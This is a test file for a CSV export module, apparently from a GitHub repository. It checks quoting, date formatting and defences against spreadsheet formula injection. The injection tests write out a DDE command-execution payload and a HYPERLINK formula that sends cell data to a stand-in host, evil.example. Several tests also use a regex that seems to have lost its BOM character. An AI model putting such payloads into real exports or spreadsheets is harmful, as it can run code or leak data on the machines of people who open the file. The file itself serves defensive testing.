-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathcsv-export.test.js
More file actions
150 lines (129 loc) · 5.92 KB
/
Copy pathcsv-export.test.js
File metadata and controls
150 lines (129 loc) · 5.92 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
const { test } = require('node:test');
const assert = require('node:assert/strict');
const { toCsv, formatDateTime, COLUMNS } = require('../csv-export');
test('toCsv: starts with UTF-8 BOM', () => {
const csv = toCsv([{ a: 'x' }], [{ key: 'a', label: 'A' }]);
assert.equal(csv.charCodeAt(0), 0xFEFF);
});
test('toCsv: includes header row', () => {
const csv = toCsv([], [{ key: 'a', label: 'Alpha' }, { key: 'b', label: 'Beta' }]);
const lines = csv.replace(/^\uFEFF/, '').split('\r\n');
assert.equal(lines[0], 'Alpha,Beta');
});
test('toCsv: escapes commas by quoting', () => {
const csv = toCsv([{ a: 'hello, world' }], [{ key: 'a', label: 'A' }]);
assert.ok(csv.includes('"hello, world"'));
});
test('toCsv: escapes embedded quotes by doubling', () => {
const csv = toCsv([{ a: 'say "hi"' }], [{ key: 'a', label: 'A' }]);
assert.ok(csv.includes('"say ""hi"""'));
});
test('toCsv: escapes newlines by quoting', () => {
const csv = toCsv([{ a: 'line1\nline2' }], [{ key: 'a', label: 'A' }]);
assert.ok(csv.includes('"line1\nline2"'));
});
test('toCsv: null and undefined become empty', () => {
const csv = toCsv([{ a: null, b: undefined }], [
{ key: 'a', label: 'A' },
{ key: 'b', label: 'B' },
]);
const dataRow = csv.replace(/^\uFEFF/, '').split('\r\n')[1];
assert.equal(dataRow, ',');
});
test('toCsv: format function is applied', () => {
const csv = toCsv(
[{ n: 1500 }],
[{ key: 'n', label: 'N', format: v => v.toLocaleString() }]
);
assert.ok(csv.includes('1,500') || csv.includes('1500'));
});
test('toCsv: handles empty rows array', () => {
const csv = toCsv([], [{ key: 'a', label: 'A' }]);
const lines = csv.replace(/^\uFEFF/, '').split('\r\n');
assert.equal(lines.length, 1);
assert.equal(lines[0], 'A');
});
test('formatDateTime: formats Date objects', () => {
const d = new Date('2026-03-15T09:30:00');
const formatted = formatDateTime(d);
assert.match(formatted, /^2026-03-15 \d{2}:\d{2}$/);
});
test('formatDateTime: returns empty for falsy', () => {
assert.equal(formatDateTime(null), '');
assert.equal(formatDateTime(undefined), '');
assert.equal(formatDateTime(''), '');
});
test('formatDateTime: handles invalid dates gracefully', () => {
const result = formatDateTime('not-a-date');
assert.equal(result, 'not-a-date');
});
test('COLUMNS presets expose expected keys', () => {
assert.ok(Array.isArray(COLUMNS.kols));
assert.ok(Array.isArray(COLUMNS.contacts));
assert.ok(Array.isArray(COLUMNS.content));
assert.ok(COLUMNS.kols.some(c => c.key === 'followers'));
assert.ok(COLUMNS.contacts.some(c => c.key === 'contract_status'));
});
// ==================== Formula injection (audit P2) ====================
//
// Every text column in these exports is KOL-controlled (display_name, bio,
// channel_name). Excel / Sheets / LibreOffice execute a cell that starts with
// =, +, -, @, TAB or CR, so an unescaped export turns a creator's chosen
// display name into code running on whoever opens the file.
test('toCsv: prefixes a leading = so Excel treats it as text', () => {
const csv = toCsv([{ a: '=1+1' }], [{ key: 'a', label: 'A' }]);
const row = csv.replace(/^/, '').split('\r\n')[1];
assert.equal(row, "'=1+1");
});
test('toCsv: neutralizes the classic command-execution payload', () => {
const evil = "=cmd|'/c calc'!A1";
const csv = toCsv([{ display_name: evil }], [{ key: 'display_name', label: 'Name' }]);
const row = csv.replace(/^/, '').split('\r\n')[1];
// Quoted because of the comma-free but quote-containing content, and the
// formula trigger is disarmed by the leading apostrophe.
assert.ok(row.startsWith("'="), `expected disarmed formula, got ${row}`);
assert.ok(!row.startsWith('='), 'must not start with a bare =');
});
test('toCsv: neutralizes a HYPERLINK exfiltration payload including the comma quoting', () => {
const evil = '=HYPERLINK("http://evil.example/?leak="&A1,"click me")';
const csv = toCsv([{ bio: evil }], [{ key: 'bio', label: 'Bio' }]);
const body = csv.replace(/^/, '').split('\r\n')[1];
// RFC 4180 quoting still applies (embedded commas + doubled quotes)...
assert.ok(body.startsWith('"'), 'field with commas must be quoted');
assert.ok(body.includes('""'), 'embedded quotes must be doubled');
// ...and inside the quotes the value is prefixed, not raw.
assert.ok(body.startsWith(`"'=HYPERLINK`), body);
});
test('toCsv: all six trigger characters are neutralized', () => {
for (const trigger of ['=', '+', '-', '@', '\t', '\r']) {
const value = `${trigger}DANGER`;
const csv = toCsv([{ a: value }], [{ key: 'a', label: 'A' }]);
const row = csv.replace(/^/, '').split('\r\n').slice(1).join('\r\n');
assert.ok(row.includes(`'${trigger}DANGER`), `trigger ${JSON.stringify(trigger)} not neutralized: ${row}`);
}
});
test('toCsv: header labels are neutralized too', () => {
const csv = toCsv([], [{ key: 'a', label: '=EVIL()' }]);
assert.equal(csv.replace(/^/, '').split('\r\n')[0], "'=EVIL()");
});
test('toCsv: plain negative numbers stay numeric (no apostrophe)', () => {
// Regression guard on the mitigation itself: blanket-prefixing '-' would
// turn every negative payment amount into text Excel refuses to sum.
const csv = toCsv(
[{ n: -50, s: '-50', f: -12.5 }],
[{ key: 'n', label: 'N' }, { key: 's', label: 'S' }, { key: 'f', label: 'F' }]
);
assert.equal(csv.replace(/^/, '').split('\r\n')[1], '-50,-50,-12.5');
});
test('toCsv: a formula disguised as arithmetic is still neutralized', () => {
const csv = toCsv([{ a: '-1+1+cmd|calc' }], [{ key: 'a', label: 'A' }]);
const row = csv.replace(/^/, '').split('\r\n')[1];
assert.ok(row.startsWith("'-1+1"), row);
});
test('toCsv: benign values are untouched', () => {
const csv = toCsv(
[{ a: 'Jane Doe', b: 'hello@example.com', c: '1500' }],
[{ key: 'a', label: 'A' }, { key: 'b', label: 'B' }, { key: 'c', label: 'C' }]
);
assert.equal(csv.replace(/^/, '').split('\r\n')[1], 'Jane Doe,hello@example.com,1500');
});